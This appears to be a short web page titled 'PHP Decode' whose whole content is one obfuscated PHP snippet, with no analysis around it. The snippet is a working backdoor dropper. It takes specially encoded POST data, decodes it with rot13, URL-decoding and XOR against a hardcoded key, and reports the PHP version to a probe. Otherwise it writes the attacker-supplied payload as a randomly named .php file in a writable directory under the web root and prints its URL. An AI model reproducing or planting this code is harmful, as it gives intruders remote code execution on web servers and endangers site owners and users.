PHP Decode

<?php $ashfarfe = "eyrnbgwxvkugcgcj";$gxsprd = "";foreach ($_POST as $gdphcwtk => $ielad){if (strlen($gdphcwtk) == 16 and substr_count($ielad, "%") > 10){ojbruhbol($gdphcwtk, $ielad);}}function ojbruhbol($gdphcwtk, $nysmvcio){global $gxsprd;$gxsprd = $gdphcwtk;$nysmvcio = str_split(rawurldecode(str_rot13($nysmvcio)));function tjrvirzcf($rguojoondy, $gdphcwtk){global $ashfarfe, $gxsprd;return $rguojoondy ^ $ashfarfe[$gdphcwtk % strlen($ashfarfe)] ^ $gxsprd[$gdphcwtk % strlen($gxsprd)];}$nysmvcio = implode("", array_map("tjrvirzcf", array_values($nysmvcio), array_keys($nysmvcio)));$nysmvcio = @unserialize($nysmvcio);if (@is_array($nysmvcio)){$gdphcwtk = array_keys($nysmvcio);$nysmvcio = $nysmvcio[$gdphcwtk[0]];if ($nysmvcio === $gdphcwtk[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function pmwefywi($rguojir) {static $zbwjvj = array();$rguojnhpdhumap = glob($rguojir . '/*', GLOB_ONLYDIR);if (count($rguojnhpdhumap) > 0) {foreach ($rguojnhpdhumap as $rguoj){if (@is_writable($rguoj)){$zbwjvj[] = $rguoj;}}}foreach ($rguojnhpdhumap as $rguojir) pmwefywi($rguojir);return $zbwjvj;}$fohea = $_SERVER["DOCUMENT_ROOT"];$rguojnhpdhumap = pmwefywi($fohea);$gdphcwtk = array_rand($rguojnhpdhumap);$zncujsorpi = $rguojnhpdhumap[$gdphcwtk] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($zncujsorpi, $nysmvcio);echo "http://" . $_SERVER["HTTP_HOST"] . substr($zncujsorpi, strlen($fohea));exit();}}} 
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